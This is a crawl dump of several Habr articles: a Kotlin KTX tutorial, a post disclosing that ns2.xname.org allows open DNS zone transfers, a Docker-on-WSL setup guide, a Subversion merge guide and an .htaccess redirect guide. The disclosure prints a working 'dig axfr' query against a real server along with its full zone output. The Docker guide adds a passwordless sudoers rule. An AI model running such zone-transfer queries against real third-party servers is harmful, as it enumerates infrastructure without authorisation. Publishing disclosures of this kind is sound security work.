Другие функции, такие как деструктуризация и перегрузка операторов, доступные в таких классах, как [Color](https://developer.android.com/kotlin/ktx/extensions-list#for_androidgraphicscolor), можно обнаружить в списке [расширений KTX](https://developer.android.com/kotlin/ktx/extensions-list#androidxactivity).
### API платформы — core-ktx
`core-ktx` обеспечивает идиоматическую функциональность Kotlin для API платформы Android.
Например, если вы работаете с `SharedPreferences`, когда вам нужно обновить значение, вместо выполнения трех разных вызовов вы можете обойтись всего одним:
```
/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
- val editor = sharedPreferences.edit()
- editor.putBoolean(SHOW_DELETED_WORDS_KEY, enable)
- editor.apply()
+ sharedPreferences.edit {
+ putBoolean(SHOW_DELETED_WORDS_KEY, enable)
+ }
```
[*SharedPrefs.kt.diff*](https://gist.github.com/florina-muntenescu/20eff1af9dc900ac91b2493747c0bdb3#file-sharedprefs-kt-diff) *на* [*GitHub*](https://github.com/)
Под капотом [метод edit ktx](https://cs.android.com/androidx/platform/frameworks/support/+/androidx-master-dev:core/core-ktx/src/main/java/androidx/core/content/SharedPreferences.kt;l=39) вызывает ту же функциональность, по умолчанию предоставляя лучшую альтернативу commit — `apply()`. `apply ()`, в отличие от `commit()`, фиксирует изменения на диске асинхронно:
```
// From https://cs.android.com/androidx/platform/frameworks/support/+/androidx-master-dev:core/core-ktx/src/main/java/androidx/core/content/SharedPreferences.kt;l=39?q=SharedPreferences.kt
public inline fun SharedPreferences.edit(
commit: Boolean = false,
action: SharedPreferences.Editor.() -> Unit
) {
val editor = edit()
action(editor)
if (commit) {
editor.commit()
} else {
editor.apply()
}
}
```
[*SharedPreferences.kt*](https://gist.github.com/florina-muntenescu/86194d49b607cf841bfa27d4fc5a32d0#file-sharedpreferences-kt) *на* [*GitHub*](https://github.com/)
В `core-ktx` вы также можете найти более простой способ работы с часто используемыми листнерами платформы. Например, если вы хотите триггерить экшн по изменению текста в `EditText`, вам придется реализовать все методы `TextWatcher`, даже если вас интересует только `onTextChanged()`. `core-ktx` создает соответствующие методы `TextWatcher`: [doOnTextChanged](https://developer.android.com/reference/kotlin/androidx/core/widget/package-summary#doontextchanged), [doAfterTextChanged](https://developer.android.com/reference/kotlin/androidx/core/widget/package-summary#doaftertextchanged) и [doBeforeTextChanged](https://developer.android.com/reference/kotlin/androidx/core/widget/package-summary#dobeforetextchanged), но в вашем коде Kotlin вы просто используете тот, который вам нужен:
```
/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
- editWordView.addTextChangedListener(object : TextWatcher {
- override fun onTextChanged(s: CharSequence, start: Int, before: Int, count: Int) {
- handleTextChanged(s)
- }
-
- override fun beforeTextChanged(s: CharSequence, start: Int, count: Int, after: Int) {
- }
-
- override fun afterTextChanged(s: Editable) {
- }
- })
+ editWordView.doOnTextChanged { text, start, count, after -> handleTextChanged(text) }
```
[*Edit.kt.diff*](https://gist.github.com/florina-muntenescu/2544b0ff552289450251ac6ac0b0e289#file-edit-kt-diff) *на* [*GitHub*](https://github.com/)
Это дает несколько преимуществ: ваш код становится читабельнее, поскольку он лаконичнее, и вы получаете лучшие аннотации именования и `nullability`.
Вы можете найти похожие API листнеров для [AnimatorListener](https://developer.android.com/reference/kotlin/androidx/core/animation/package-summary#(android.animation.Animator).addListener(kotlin.Function1,%20kotlin.Function1,%20kotlin.Function1,%20kotlin.Function1)) и [TransitionListener](https://developer.android.com/reference/kotlin/androidx/core/transition/package-summary#(android.transition.Transition).addListener(kotlin.Function1,%20kotlin.Function1,%20kotlin.Function1,%20kotlin.Function1,%20kotlin.Function1)).
Под капотом [doOnTextChanged](https://cs.android.com/androidx/platform/frameworks/support/+/androidx-master-dev:core/core-ktx/src/main/java/androidx/core/widget/TextView.kt;l=42?q=doOnTextChanged) реализован как функция расширения `TextView` — класса, который также имеет метод `addTextChangedListener`. `doOnTextChanged` создает [пустые реализации](https://cs.android.com/androidx/platform/frameworks/support/+/androidx-master-dev:core/core-ktx/src/main/java/androidx/core/widget/TextView.kt;l=65) для других функций `TextWatcher`.
### API Jetpack
Большинство доступных расширений предназначены для API Jetpack. Здесь я просто рассмотрю некоторые из тех, которыми я пользовался чаще всего.
### LiveData
Львиная доля функциональности LiveData также реализовано в виде функций расширения: такие методы как [map](https://developer.android.com/reference/kotlin/androidx/lifecycle/package-summary#map), [switchMap](https://developer.android.com/reference/kotlin/androidx/lifecycle/package-summary#switchmap) или [distinctUntilChanged](https://developer.android.com/reference/kotlin/androidx/lifecycle/package-summary#distinctuntilchanged) ([источник](https://cs.android.com/androidx/platform/frameworks/support/+/androidx-master-dev:lifecycle/lifecycle-livedata-ktx/src/main/java/androidx/lifecycle/Transformations.kt;l=35)).
Например, использование [map](https://developer.android.com/reference/kotlin/androidx/lifecycle/package-summary#map) из `liveData-ktx` избавляет нас от необходимости вызывать `Transformations.map(liveata) { /* map function */ }` и позволяет нам напрямую вызывать `liveData.map` более идиоматическим способом в духе Kotlin.
Когда вы наблюдаете за объектом `LiveData`, вам необходимо реализовывать [Observer](https://developer.android.com/reference/kotlin/androidx/lifecycle/Observer). Но с использованием метода `observe` из `lifecycle-ktx` код становится намного проще. Убедитесь, что вы вызываете импорт `androidx.lifecycle.observe`, если метод не найден.
```
/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
- wordViewModel.allWords.observe(
- this,
- Observer { words ->
- // Update the cached copy of the words in the adapter.
- words?.let { adapter.submitList(it) }
- }
- )
+ wordViewModel.allWords.observe(owner = this) { words ->
+ // Update the cached copy of the words in the adapter.
+ words.let { adapter.submitList(it) }
+ }
```
[*Observe.kt.diff*](https://gist.github.com/florina-muntenescu/5028e1999c398c4d42480fdf767f4a51#file-observe-kt-diff) *на* [*GitHub*](https://github.com/)
`LiveData` идеально подходит для предоставления данных, которые будут использоваться пользовательским интерфейсом, поэтому для преобразования из Flow в `LiveData` и из `LiveData` в `Flow`, артефакт `lifecycle-livedata-ktx` предоставляет две удобных функций расширения: [Flow.asLiveData()](https://developer.android.com/reference/kotlin/androidx/lifecycle/package-summary#aslivedata) и [LiveData.asFlow()](https://developer.android.com/reference/kotlin/androidx/lifecycle/package-summary#asflow).
### Activity / Fragment и ViewModel
Чтобы создать `ViewModel`, вы должны расширить класс [ViewModel](https://developer.android.com/reference/androidx/lifecycle/ViewModel) и реализовать [ViewModelProvider.Factory](https://developer.android.com/reference/androidx/lifecycle/ViewModelProvider.Factory), если ваша `ViewModel` имеет зависимости. Чтобы создать ее инстанс, используйте делегат [viewModels](https://developer.android.com/reference/kotlin/androidx/activity/package-summary#(androidx.activity.ComponentActivity).viewModels(kotlin.Function0)) (подробнее о делегатах вы можете почитать [здесь](https://medium.com/androiddevelopers/delegating-delegates-to-kotlin-ee0a0b21c52b)): `by viewModels(factory)`:
```
/* Copyright 2020 Google LLC.
SPDX-License-Identifier: Apache-2.0 */
+ private val wordViewModel: WordViewModel by viewModels {
+ WordViewModelFactory(repository)
+ }
override fun onCreate(savedInstanceState: Bundle?) {
…
- val viewModelFactory = WordViewModelFactory(repository)
- val viewModel = ViewModelProvider(this, viewModelFactory).get(WordViewModel::class.java)
}
```
[*MyActivity.kt.diff*](https://gist.github.com/florina-muntenescu/07742e4703df51639ba09ade90a643e0#file-myactivity-kt-diff) *на* [*GitHub*](https://github.com/)
`viewModels` доступен в артефакте `-ktx activity` и `fragment`.
При работе с корутинами вы столкнетесь с необходимостью запускать корутину в `ViewModel`. Работа, выполняемая корутиной, должна быть отменена при уничтожении `ViewModel`. Вместо реализации своего собственного `CoroutineScope`, используйте [viewModelScope](https://developer.android.com/reference/kotlin/androidx/lifecycle/package-summary#viewmodelscope). Отмена будет произведена автоматически в [ViewModel.onCleared()](https://developer.android.com/reference/kotlin/androidx/lifecycle/ViewModel#oncleared). Вы можете узнайте больше о тонкостях `viewModelScope` в [этой статье](https://medium.com/androiddevelopers/easy-coroutines-in-android-viewmodelscope-25bffb605471).
### Room и WorkManager
И Room, и WorkManager предлагают поддержку корутин через свои артефакты `-ktx`. Поскольку мы считаем, что об этом стоит рассказать более подробно, следите за обновлениями статей MAD Skills, посвященных этим библиотекам!
### Другие модули KTX
Артефакты AndroidX — не единственные, кто предоставляет KTX версии:
* Firebase создала [общие расширения Kotlin](https://firebaseopensource.com/projects/firebase/firebase-android-sdk/docs/ktx/common.md)
* Google Maps предлагают [Maps](https://developers.google.com/maps/documentation/android-sdk/ktx) и [Places](https://developers.google.com/places/android-sdk/ktx) библиотеки ktx
* В Play Core есть артефакт core-ktx, обеспечивающий поддержку корутин для мониторинга обновлений в приложении
Лаконичность, удобочитаемость и Kotlin-идиоматичность — это фичи, которые принесут пользу вашему коду, как только вы начнете использовать `-ktx` расширения. Следите за новостями, чтобы узнать о других способах использовать Kotlin и Jetpack в своем приложении!
> *Узнать подробнее о курсах:* [*"****Android Developer. Basic****"*](https://otus.pw/Tiv1/) */* [*"****Android Developer. Professional****"*](https://otus.pw/CoXB/)*.*
>
> *Приглашаем также на открытые вебинары:
> •* [***«Крестики-нолики на минималках»***](https://otus.pw/EpDA/) *— игра на Android менее чем за 2 часа.*
>
> *•* [***«Рисуем свой график котировок в Android»***](https://otus.pw/8F6Y/)*:
> - Рассмотрим основные инструменты для рисования
> - Изучим возможности классов Canvas, Path, Paint
> - Нарисуем кастомизируемый график котировок и добавим в него анимации*
>
> | https://habr.com/ru/post/548736/ | null | ru | null |
# Уязвимость xname.org
Обнаружил на днях неприятную уязвимость на популярном DNS-хостинге [XName.org](http://xname.org)
Дело в том, что ns2.xname.org позволяет выполнить трансфер любой зоны, находящейся на нем (AXFR-запросом) вне зависимости от того, откуда этот запрос приходит.
Например:
`porfel@porfel-laptop:~$ dig xname.org @ns2.xname.org axfr
; <<>> DiG 9.6.1-P2 <<>> xname.org @ns2.xname.org axfr
;; global options: +cmd
xname.org. 600 IN SOA ns0.xname.org. yann.hirou.org. 2009030501 600 1800 3600000 10800
xname.org. 600 IN TXT "v=spf1 a:vhosting.freexion.net a:ns0.xname.org a:ns1.xname.org a:ns2.xname.org a:g1.xname.org ip4:195.234.42.0/24 ~all"
xname.org. 600 IN NS ns0.xname.org.
xname.org. 600 IN NS ns1.xname.org.
xname.org. 600 IN NS ns2.xname.org.
xname.org. 600 IN NS ns3.xtremeweb.de.
xname.org. 600 IN MX 10 mxg1.freexion.net.
xname.org. 600 IN MX 20 mx2.oav.net.
xname.org. 600 IN A 92.243.14.172
demo.xname.org. 600 IN CNAME www.xname.org.
dev.xname.org. 600 IN CNAME www.xname.org.
error.xname.org. 600 IN A 193.218.105.155
g1.xname.org. 600 IN A 92.243.14.172
myip.xname.org. 600 IN CNAME www.xname.org.
ns0.xname.org. 600 IN A 195.234.42.1
ns1.xname.org. 600 IN A 87.98.164.164
ns2.xname.org. 600 IN AAAA 2a01:e0b:1:64:240:63ff:fee8:6155
ns2.xname.org. 600 IN A 88.191.64.64
o1.xname.org. 600 IN A 91.121.207.58
o1b.xname.org. 600 IN A 87.98.135.241
source.xname.org. 600 IN CNAME www.xname.org.
test.xname.org. 600 IN NS ns0.xname.org.
test.xname.org. 600 IN NS ns1.xname.org.
url.xname.org. 600 IN CNAME www.xname.org.
www.xname.org. 600 IN CNAME g1.xname.org.
xname.org. 600 IN SOA ns0.xname.org. yann.hirou.org. 2009030501 600 1800 3600000 10800
;; Query time: 147 msec
;; SERVER: 88.191.64.64#53(88.191.64.64)
;; WHEN: Tue Mar 23 01:36:15 2010
;; XFR size: 26 records (messages 3, bytes 791)
porfel@porfel-laptop:~$`
При запросе зоны у любого другого авторитативного DNS-сервера получим следующее:
`porfel@porfel-laptop:~$ dig xname.org @ns0.xname.org axfr
; <<>> DiG 9.6.1-P2 <<>> xname.org @ns0.xname.org axfr
;; global options: +cmd
; Transfer failed.
porfel@porfel-laptop:~$`
Из чего можно сделать вывод, что просто так эту зону разработчики отдавать не хотели.
Проверил это предположение на своих доменах (трансфер разрешен только для авторитативных серверов) — то же самое, позволяет получить всю зону, независимо от того, разрешено ли это в конфигурации, или нет.
Таким образом, данной опасности подвергнуты ~175000 доменов, использующие в качестве DNS-серверов XName.
Хочу дать совет пользователям данного сервиса: будьте внимательны, и не прописывайте в зону ничего секретного. А если же «секретные» поддомены есть — позаботьтесь о авторизации на них.
Спасибо за внимание.
P.S.: Письмо администрации сервиса с описанием проблемы и просьбой пофиксить написал еще в среду, но до сих пор ни ответа, ни привета… | https://habr.com/ru/post/88545/ | null | ru | null |
# Установка и правильная настройка Docker на Windows Subsystem Linux (WSL)
Предварительные требования
--------------------------
Прежде чем начать, убедитесь, что ваша система имеет примерно следующую конфигурацию:
* **Windows 10** Version 1803 Build 1734 и выше
* **Ubuntu for WSL 16.0.4 LTS** или что-то в этом роде (ваша версия может немного отличаться)
Важно, чтобы версия и сборка Windows были не ниже того, что здесь указано. Дело в том, что, начиная с этих цифр, в ядро Windows WSL были внесены принципиальные изменения, которые позволяют использовать cgroups (control groups — в 2008 году добавлены в ядро Linux). А они необходимы Docker’у для управления ресурсами вашей системы в контейнерах.
Установка Docker-CE 17.09.0
---------------------------
Мы будем устанавливать Docker Community Edition 17.09.0 (потому что на момент написания этой статьи более свежие версии [падали](https://github.com/Microsoft/WSL/issues/2291#issuecomment-383698720) при установке на WSL).
Первое, что мы сделаем — избавимся от всех предыдущих установок Docker (если таковые были). Для этого запустим bash-терминал и напишем следующее:
```
$ sudo apt-get remove docker docker-engine docker.io containerd runc
```
Теперь установим репозиторий для Docker CE. Через apt-get мы можем установить нужную версию, самостоятельно не занимаясь её сборкой из исходников. Следуя [рекомендациям](https://docs.docker.com/install/linux/docker-ce/ubuntu/) на официальном сайте Docker, мы пишем следующие команды:
```
# Обновляем список пакетов
$ sudo apt-get update
# Устанавливаем необходимые пакеты, которые позволяют apt получить доступ по HTTPS
$ sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
# Добавляем в свою систему ключ GPG официального репозитория Docker
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
#Добавляем репозиторий Docker в список пакетов:
$ sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# Обновляем данные о пакетах с учетом пакетов Docker из вновь добавленного репозитория
$ sudo apt-get update
```
Если вы когда либо добавляли новый репозиторий с помощью apt, всё это вам в целом знакомо. Если нет — надеюсь, вы всё равно остались со мной :)
Далее устанавливаем Docker:
```
$ sudo apt-get install docker-ce=17.09.0~ce-0~ubuntu
```
Если вы не используете WSL в стиле Ubuntu, список доступных версий можно посмотреть так:
```
$ apt list -a docker-ce
```
… или использовать аналогичную команду какой-то другой библиотеки, если вы отказались от APT
В конце нужно добавить своего текущего пользователя в группу ‘docker’, чтобы получить возможность правильно использовать Docker Engine («движок»), который должен быть запущен в вашей системе с правами root.
```
sudo usermod -aG docker $USER
```
Запуск Docker на Windows
------------------------
Теперь, когда Docker установлен, нам нужно использовать довольно хитрый метод, чтобы запускать его как службу в WSL каждый раз при загрузке Windows. Это не так легко, как может показаться. Нам нужно действовать от имени суперпользователя и запустить командную оболочку с повышенными привилегиями, что немного усложняет задачу.
Чтобы немного упростить процесс, создайте в */usr /local/sbin/* новый файл — скрипт, который содержит соответствующие команды для запуска сервиса Docker:
```
$ sudo nano /usr/local/sbin/start_docker.sh
```
со следующим содержимым:
```
#!/usr/bin/env bash
sudo cgroups-mount
sudo service docker start
```
Первая команда sudo — это монтирование cgroups (оно выполнится при перезагрузке), а вторая отдает сервис docker в руки systemd (это подсистема Ubuntu для инициализации и управления службами).
Теперь разрешите скрипту запуститься и выполните его:
```
$ sudo chmod +x /usr/local/sbin/start_docker.sh
# Запрещаем запись
$ sudo chmod 755 /usr/local/sbin/start_docker.sh
$ /bin/sh /usr/local/sbin/start_docker.sh
```
Однако сервис Docker не запустится по двум причинам:
1. Сценарий выполняет вызовы как суперпользователь, поэтому сам скрипт должен быть запущен с правами суперпользователя, чтобы работать как задумано. По идее, сделать это так же просто, как написать любую команду sudo, но для этого пользователь должен после каждой загрузки вводить свои данные, что сильно раздражает.
2. Первая команда для монтирования cgroups должна быть выполнена в bash с повышенными привилегиями. Чтобы запустить её без ввода данных пользователем, нам придётся использовать Windows Task Scheduler.
Всё ясно? Тогда за дело…
Запуск скрипта с правами root без пользовательского ввода
---------------------------------------------------------
В ОС семейства Linux файл */etc /sudoers* определяет, кто и что может запускать с правами суперпользователя. Давайте модифицируем его так, чтобы ваш пользователь смог вызывать скрипт без необходимости постоянного ввода пароля root. *(Но будьте очень осторожны с этим файлом! Очень легко выпилить себя из системы, если вы не знаете, что делаете!)*
```
$ sudo nano /etc/sudoers
```
Добавим в конец файла новую строку. При этом вы должны точно знать имя своего пользователя (запустите echo $USER, если не уверены):
```
ALL=(ALL:ALL) NOPASSWD: /bin/sh /usr/local/sbin/start\_docker.sh
```
Теперь мы можем запустить сервис Docker с правами root без пользовательского ввода:
```
$ sudo /bin/sh /usr/local/sbin/start_docker.sh
```
Ура, товарищи!
Правильный запуск Docker при загрузке Windows
---------------------------------------------
Теперь при загрузке системы мы сможем запустить Docker от имени администратора с помощью отдельной команды, не требующей взаимодействия с пользователем.
Запустите Планировщик задач Windows и выберите *Task Scheduler Library* на левой панели. Затем выберите *Create Task (создать задачу)* на правой панели.
Далее вам предложат отредактировать основные настройки задачи. Дайте вашей задаче понятное название и убедитесь, что остальные настройки соответствуют моим. Важно, чтобы вы выбрали *«Запуск с повышенными привилегиями» (Run with highest privileges)*.
Во вкладке *Triggers* добавьте новый триггер, который будет запускать задачу сразу же, как только локальный пользователь выполнит вход.
Переключившись на вкладку *Actions*, создайте новое действие, которое будет запускать bash и сразу же выполнять наш скрипт с [ключом -с](https://docs.microsoft.com/en-us/windows/wsl/reference):
```
-c "sudo /bin/sh /usr/local/sbin/start_docker.sh"
```
Обратите внимание, что это нужно делать с повышенными привилегиями, поэтому проверьте галочку *Run with highest privileges* на вкладке *General*.
Остальные параметры в основном зависят от индивидуальных предпочтений, но я покажу свои настройки. Если хотите — можете их скопировать. Некоторые параметры питания могут не отображаться, если вы сидите на стационарной машине. Лично я пользуюсь ноутбуком.
Ну вот, всё идёт так, как мы задумали. Если вы на предыдущих этапах еще не запускали Docker, используя команды с повышенными привилегиями, просто щёлкните правой кнопкой мыши по задаче, созданной нами в Планировщике задач, и выберите «Выполнить»! Вот и всё!
Проверьте, что всё работает
---------------------------
Если хотите перестраховаться — перезагрузите свою машину *(да, ради этого вам придётся в кое веки закрыть вкладки вашего браузера)*, запустите bash и введите:
```
$ docker run --rm hello-world
```
Если всё пройдёт хорошо, то вы увидите стандартное приветствие Docker’а. Сервис запустится автоматически и прямо в WSL! Мои поздравления!
Закругляемся
------------
Вы только что установили и запустили Docker в WSL. Это означает, что ваши контейнеры теперь могут совместно использовать Ubuntu, уже работающую в вашей системе. Таким образом отпадает необходимость разворачивать новую (виртуализированную) ОС, как это делает обычный Docker для Windows.
Производительность работы Docker в WSL пока [на момент написания оригинальной статьи] оставляет желать лучшего, но по мере развития платформы и выпуска обновлений Windows она будет только улучшаться.
Использованные источники
------------------------
1. onomatopellan из GitHub: <https://github.com/Microsoft/WSL/issues/2291#issuecomment-383698720>
2. Official Docker Documentation: [https://docs.docker.com/install/linux/docker-ce/ubuntu](https://docs.docker.com/install/linux/docker-ce/ubuntu/)/
3. cgroupfs-mount: <https://github.com/tianon/cgroupfs-mount>
4. Bash Command Line Interface: <https://docs.microsoft.com/en-us/windows/wsl/reference>
[](https://vdsina.ru/eternal-server?partner=habreternal) | https://habr.com/ru/post/496804/ | null | ru | null |
# Subversion: cлияние переименований файлов
> — Зачем ты, Белка, летишь за мной, Кабаном?
>
> — Не знаю, Кабан! Приказ Хорька. Как понял? Приём.
>
> — Ни хера не понял! Какого Хорька, Белка? Я Кабан. Кто такой Хорёк? Кто это? Приём.
>
> — Кабан, ты дятел! Как понял? Приём.
>
> — Понял тебя, Белка. Я — Дятел. Повторяю вопрос про хорька. Кто это?
>
> — Кабан, сука, ты всех заманал, лети вперёд молча! Конец связи.
>
> *Виктор Шендерович*
Как известно, Subversion не умеет отслеживать переименования файлов. Согласно документации, команда `svn move` равносильна `svn copy` с последующим `svn delete`. Такое поведение вызывает большие проблемы при слиянии веток. Рассмотрим способы их решения.
В примерах вместо полного пути к ветке используется переменная `$source`, которую можно создать так:
`**export source=https://example.com/svn/trunk**`
#### Файл переименован в текущей ветке
Пусть в текущей ветке файл `foo.txt` был переименован в `bar.txt`. Попробуем перенести изменения из ветки `$source`, где файл всё ещё называется `foo.txt`:
`**svn merge $source -r 10:20**
Skipped missing target: 'foo.txt'`
Subversion не смогла применить изменения, т. к. не нашла файл `foo.txt` в рабочей копии. Что делать? Явно указать новое имя файла:
`**svn merge $source/foo.txt -r 10:20 bar.txt**
U bar.txt`
Subversion взяла изменения, произошедшие в файле `foo.txt` с 10 по 20 ревизию, и применила к файлу `bar.txt`, чего мы и добивались.
#### Файл переименован в исходной ветке
Пусть в ветке `$source` файл `foo.txt` был переименован в `bar.txt`. В текущей ветке файл по-прежнему называется `foo.txt`. В обеих ветках у файлов поменялось содержимое. Попробуем склеить изменения:
`**svn merge $source -r 10:20**
A bar.txt
D foo.txt`
Что произошло? Subversion удалила файл `foo.txt` и добавила копию файла `bar.txt` из ветки `$source`. При этом все изменения в файле `foo.txt`, произведённые в текущей ветке, **оказались утеряны**.
Что делать? Во-первых, отменить разрушительные действия `svn merge`:
`**svn revert foo.txt bar.txt**
Reverted 'foo.txt'
Reverted 'bar.txt'
**rm bar.txt**`
Во-вторых, локально переименовать файл `foo.txt` в `bar.txt`:
`**svn move foo.txt bar.txt**
A bar.txt
D foo.txt`
В-третьих, наложить на него изменения, произошедшие с файлом в ветке `$source`:
`**svn merge $source/foo.txt@10 $source/bar.txt@20 bar.txt**
U bar.txt`
Обратите внимание: мы берём разницу между файлом `foo.txt` десятой ревизии и файлом `bar.txt` двадцатой ревизии и накладываем её на локальный `bar.txt`.
Результат: файл переименован и содержит изменения из обеих веток.
#### Файл переименован в обеих ветках
Пусть в ветке `$source` файл `foo.txt` получил название `bar.txt`, а в текущей — `baz.txt`. В обеих ветках у файлов поменялось содержимое. Попробуем склеить изменения:
`**svn merge $source -r 10:20**
A bar.txt
Skipped missing target: 'foo.txt'`
Subversion скопировала файл `bar.txt` из ветки `$source`, а вот удалить `foo.txt` не смогла. Как и в предыдущем случае, возвращаем всё назад:
`**svn revert bar.txt**
Reverted 'bar.txt'
**rm bar.txt**`
Дальнейшие действия зависят от того, какое имя мы считаем правильным: текущее (`baz.txt`) или приехавшее из ветки `$source` (`bar.txt`). В первом случае достаточно наложить разницу между `foo.txt` и `bar.txt` на `baz.txt`:
`**svn merge $source/foo.txt@10 $source/bar.txt@20 baz.txt**
U baz.txt`
Во втором случае необходимо сначала переименовать `baz.txt` в `bar.txt` и уже потом накладывать разницу:
`**svn move baz.txt bar.txt**
A bar.txt
D baz.txt
**svn merge $source/foo.txt@10 $source/bar.txt@20 bar.txt**
U bar.txt`
#### Заключение
Как видно, слияние переименований файлов — непростая задача в Subversion. Облегчить её могут небольшие скрипты, написание которых автор оставляет в качестве домашнего задания.
Предваряя холивар на тему «Какая система управления версиями лучше», автор будет благодарен за содержательные комментарии о том, как задача отслеживания переименованных файлов решается в других системах.
#### Ссылки по теме
* [Merges and Moves](http://svnbook.red-bean.com/en/1.5/svn.branchmerge.advanced.html#svn.branchmerge.advanced.moves)
* [Subversion Move/Rename Feature](http://markphip.blogspot.com/2006/12/subversion-moverename-feature.html)
* [Issue 898: Implement true renames](http://subversion.tigris.org/issues/show_bug.cgi?id=898)
* [Живые грабли слияния бранчей SVN](http://softwaremaniacs.org/blog/2008/06/05/svn-merge-woes/)
* [Linus Torvalds: Moved files and merges](http://www.mail-archive.com/git@vger.kernel.org/msg03711.html)
* [Renaming is the killer app of distributed version control](http://www.markshuttleworth.com/archives/123) | https://habr.com/ru/post/39230/ | null | ru | null |
# Redirects: 301, 302, 307 | How-To 301 guide
What is redirection?
--------------------
Redirection is a way of forwarding the user to the URL that is different from the one they initially clicked on. Down below some of the most common types of redirection are listed.
### 301 Moved Permanently
A 301 redirect is a permanent redirect which passes between 90-99% of link equity (ranking power) to the redirected page. 301 signals that the page has been moved to another URL and the old URL is outdated.
### 302 Found (HTTP 1.1) / Moved Temporarily (HTTP 1.0)
302 is a temporary redirect which passes 0% of link equity, and shouldn't be used in most cases.
As of now, the internet runs on an HTTP protocol which dictates how URLs work. In two versions of this protocol, the HTTP response status code is different:
* HTTP 1.0: 302 status code is «Moved Temporarily» — current page has been moved temporarily to another URL.
* HTTP 1.1: the description phrase has been changed to «Found» — current page has been found.
### 307 Moved Temporarily (HTTP 1.1 Only)
A 307 redirect is the HTTP 1.1 successor of the 302 redirect. While the major crawlers will treat it like a 302 in some cases, it is best to use a 301 for almost all cases. The exception to this is when content is really moved only temporarily (such as during maintenance) and the server has already been identified by the search engines as 1.1 compatible.
Since it's essentially impossible to determine whether the search engines have identified a page as compatible, it is generally best to use a 302 redirect for content that has been moved temporarily.
### Other redirection types
There are also some other types of redirection: Meta Refresh or JavaScript redirection that are executed on the page level rather than the web server level. This is what a typical Meta Refresh redirect looks like:
It's best not to use these types of redirect, as they are often used by spammers and doorway pages. Besides, they pass little to none of the [link juice](https://www.trustcorp.net/link-juice).
### Examples of using redirects
**Redirecting your domain to a non-www URL:**
```
RewriteCond %{HTTP_HOST} ^www.site\.com$ [NC]
RewriteRule ^(.*)$ http://site.com/$1 [R=301,L]
```
**Redirecting your domain to a www URL:**
```
RewriteCond %{HTTP_HOST} ^site\.com$ [NC]
RewriteRule ^(.*)$ http://www.site.com/$1 [R=301,L]
```
To choose which URL to make canonical, consider:
* which URL ranks higher in the SERPs;
* which URL is more represented in the index.
**Redirecting your domain to URL without a slash**
When developing a website, it's important to choose whether you want to add a slash to the links, because the search engines consider the links
— [www.site.com/cat1](http://www.site.com/cat1/)
and
— [www.site.com/cat1](http://www.site.com/cat1)
to be different. Then, you'll have to add the following code:
**To delete the slash from the URLs:**
```
RewriteCond %{HTTP_HOST} (.*)
RewriteCond %{REQUEST_URI} /$ [NC]
RewriteRule ^(.*)(/)$ $1 [L,R=301]
```
**To add the slash to the URLs:**
```
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_URI} !(.*)/$
RewriteRule ^(.*[^/])$ $1/ [L,R=301]
```
**To redirect the user from one page to another:**
```
Redirect 301 /oldpage.html http://www.site.com/newpage.html
```
**Redirecting the main page duplicates**
This code ensures that if there are multiple versions of the direct link to the main page (index, etc.), they will all redirect to the canonical main page:
```
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /([^/]+/)*(default|index|main)\.(html|php|htm)\ HTTP/ [NC]
RewriteRule ^(([^/]+/)*)(default|main|index)\.(html|php|htm)$ http://www.site.com/$1 [L,R=301]
```
**Redirecting catalogs**
If the URLs reflect the structure of a catalog, changes in the catalog will lead to changes in the URLs. In this case, use the following redirect:
```
RewriteRule ^(.*)/old-catalog/(.*)$ $1/new-catalog/$2 [R=301,L]
```
But, if the URL of the previous catalog comes right after the name of a domain: [www.site.com/old-catalog](http://www.site.com/old-catalog/), use this code:
```
RewriteRule old-catalog /(.*) / old-catalog /$1 [R=301,L]
```
If you've switched platforms or a CMS and only the URLs' extension has changed, use this redirect:
```
RedirectMatch 301 (.*)\.php$ http://www.site.com$1.html
```
Examples of using redirection to avoid duplicate pages
**Redirecting (sub-)domains**
In case you've bought several domains with multiple TLDs, OR used a subdomain to develop a new website and forgot to block it from being indexed by the search engines. Either way, you have to set up redirection to the root domain:
```
RewriteCond %{HTTP_HOST} !^www\.site\.com
RewriteRule ^(.*)$ http://www.site.com/$1 [R=301,L]
```
That way, all the (sub-)domains like [www.site.org](http://www.site.org), [www.site.net](http://www.site.net), test.site.com, will redirect to [www.site.com](http://www.site.com)
**Deleting multiple slashes/hyphens from the URLs**
Sometimes, user can accidentally type in multiple slashes, e.g. [www.site.com/catalog////page-1.html](http://www.site.com/catalog////page-1.html). In this case, you have to set up a 301 redirect to a page with a single slash [www.site.com/catalog/page-1.html](http://www.site.com/catalog/page-1.html):
```
RewriteCond %{REQUEST_URI} ^(.*)//(.*)$
RewriteRule . %1/%2 [R=301,L]
```
In the same way, you can set up a redirect from a URL with multiple hyphens (for example, [www.site.com/catalog/page---1.html](http://www.site.com/catalog/page---1.html)) to [www.site.com/catalog/page-1.html](http://www.site.com/catalog/page-1.html):
```
RewriteCond %{REQUEST_URI} ^(.*)--(.*)$
RewriteRule . %1-%2 [R=301,L]
```
**Redirecting from any URL to a lowercase URL**
The search engines notice the letter case, so it's best to have your URLs in lowercase. If you haven't developed your website with this in mind, you can use this PHP-script:
```
$lowerURI=strtolower($_SERVER['REQUEST_URI']);
if($_SERVER['REQUEST_URI']!=$lowerURI)
{
header("HTTP/1.1 301 Moved Permanently");
header("Location: http://" . $_SERVER['HTTP_HOST'] . $lowerURI);
exit();
}
```
How to move your website to a new domain? The optimal strategy for a 301 redirect
According to the most popular search engines, the best strategy for moving to a new domain is:
* mounting a page-by-page 301 redirect from the old site to the new one;
* don't set up a redirect from robots.txt — add the Host directive to the new domain instead.
In this case, the code on the former website will have to look something like this:
```
RewriteCond %{REQUEST_FILENAME} robots.txt$ [NC]
RewriteRule ^([^/]+) $1 [L]
RewriteCond %{HTTP_HOST} !^www\.site\.com
RewriteRule ^(.*)$ http://www.site.com/$1 [R=301,L]
а файл robots.txt для старого сайта:
User-agent: Yandex
Disallow:
Host: newsite.com
```
### Generating 301 redirects
If you're not particularly tech-savvy, you can use the online services for generating basic redirects:
<http://www.webconfs.com/htaccess-redirect-generator.php>
